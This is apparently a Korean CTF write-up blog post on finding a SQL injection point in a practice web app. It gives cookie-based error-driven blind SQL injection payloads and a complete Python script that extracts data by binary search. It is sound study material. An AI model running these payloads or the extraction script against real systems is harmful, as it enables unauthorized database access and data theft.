[0]Before we start
-SQL Injection Point 문제는 SQL Injection 기법에 대한 문제라기보다, SQL Injection이 일어나는 곳에 집중한 문제들입니다.
*https://x4uiry.tistory.com/37
SQL Injection Point 1
x4uiry.tistory.com
-위 SQL Injeciton Point 문제 1번에서 서술한 것처럼 SQL Injeciton Point를 찾는 것을 중점으로 하고, 전체적인 구조와 Blind SQL Injeciton에 대한 설명은 위의 포스팅을 참고해주시길 바랍니다.
[1]Reconnaissance
Check SQL Injection Point
-SQL Injection 포인트로 로그인과 글 검색 기능, 마이페이지에서 user의 이름을 가져오는 기능으로 추려볼 수 있을 것 같습니다.
*SQL Injection은 상황에 따라 모든 SQL 구문에서 발생할 수 있습니다만, 경우의 수를 가장 작게 하고 시작하기 위해 추출을 할 수 있는 SQL Injection으로 목표를 맞췄습니다.
[1]Check Login
-제가 가입한 계정은 id:"dd", pw:"d" 입니다.
-로그인 시 user라는 쿠키를 발급 받길래 일단 여기서 SQL Injeciton을 시도하여 로그인 후 index.php 페이지에서 볼 수 있는 Welcome {사용자} 문구를 통해 Blind SQL Injeciton을 할 수 있을 줄 알았으나, 실패하였습니다.
-아마 이곳은 세션 ID를 이용하여 작동하는 기능인 것 같습니다.
-이제 로그인 폼에서 일어날 수 있는 SQL Injeciton을 시도해봅시다.
-만약 id에서 SQL Injection이 발생한다면 두 가지의 시도를 해볼 수 있습니다.
>id에 dd' and '1'='1 을 삽입하고 pw에 d을 삽입하여 로그인이 되는가? -> SQL Injeciton 발생
-실패
>id에 dd' and (select 1 union select 2) and '1'='1을 삽입하고 pw에 3을 삽입해서 에러 메세지가 발생하는가? -> 에러 메세지로 인한 Blind SQL Injection이 가능할 수 있습니다.
-실패
*Prepare statement 처리가 되어있는 것 같습니다.
[2]Check Search Tab
-option_val은 Column을, board_results는 Column의 값을 전송합니다. sort가 사라졌고, option_val도 SQL Injection이 되지 않는 것 같습니다.
[3]Check My Page
-dd' and '1'='1 을 쿠키변조하여 보내봤을때, SQL Injection이 가능한가 싶었지만, 아래와 같이 거짓의 값을 삽입했을때도 변하는 것이 없었습니다.
-저번에 배운 에러를 강제로 일으키는 구문을 사용해봅시다.
-DB 에러를 일으킵니다.
-select 1 union select 2 where ('1'='2')가 의미하는 바는 select 1 union select 2 일 경우 에러가 발생하지만, where 조건이 거짓이므로 select 1의 결과만 나오게 되므로 정상적으로 query가 작동하게 되고 마이 페이지가 출력되는 것입니다.
-이를 활용하면 Blind SQL Injeciton이 가능합니다.
[2]Vulnerability
Blind SQL Injeciton
-이번 SQL Injeciton Point는 에러를 발생시켜 에러 발생 유무로 참과 거짓을 판별함을 이용한 Blind SQL Injection입니다.
공격 포멧
-따라서 공격포멧은 아래와 같습니다
#cookie
user: dd' and (select 1 union select 2 where (__condition__)) and '1'='1
-user라는 쿠키의 값에 query를 삽입하며, DB Error... 페이지가 나타난다면 거짓, 마이페이지가 정상적으로 출력된다면 참입니다.
자동화
-이진 탐색을 이용해 python 코드를 작성하면 아래와 같습니다.
import requests as req
sess = req.Session()
url = 'http://ctf.segfaulthub.com:7777/sqli_9/mypage.php'
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"dd' and (select 1 union select 2 where ({ATTACK})={num}) and '1'='1"
print(query)
res = sess.post(url, cookies={'user':query,'PHPSESSID':'__your__info__'})
if "DB Error... " in res.text:
number = num
break
elif num>40:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = f"dd' and (select 1 union select 2 where ({ATTACK})>{mid}) and '1'='1"
res = sess.post(url, cookies={'user':query,'PHPSESSID':'__your__info__'})
if("DB Error... " in res.text):
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
[3]Flag
'write-up > web' 카테고리의 다른 글
Steal Info (0) | 2024.06.29 |
---|---|
Basic Script Prac (0) | 2024.06.28 |
SQL Injection Point 3 (0) | 2024.06.11 |
SQL Injection Point 2 (0) | 2024.06.11 |
SQL Injection Point 1 (0) | 2024.06.06 |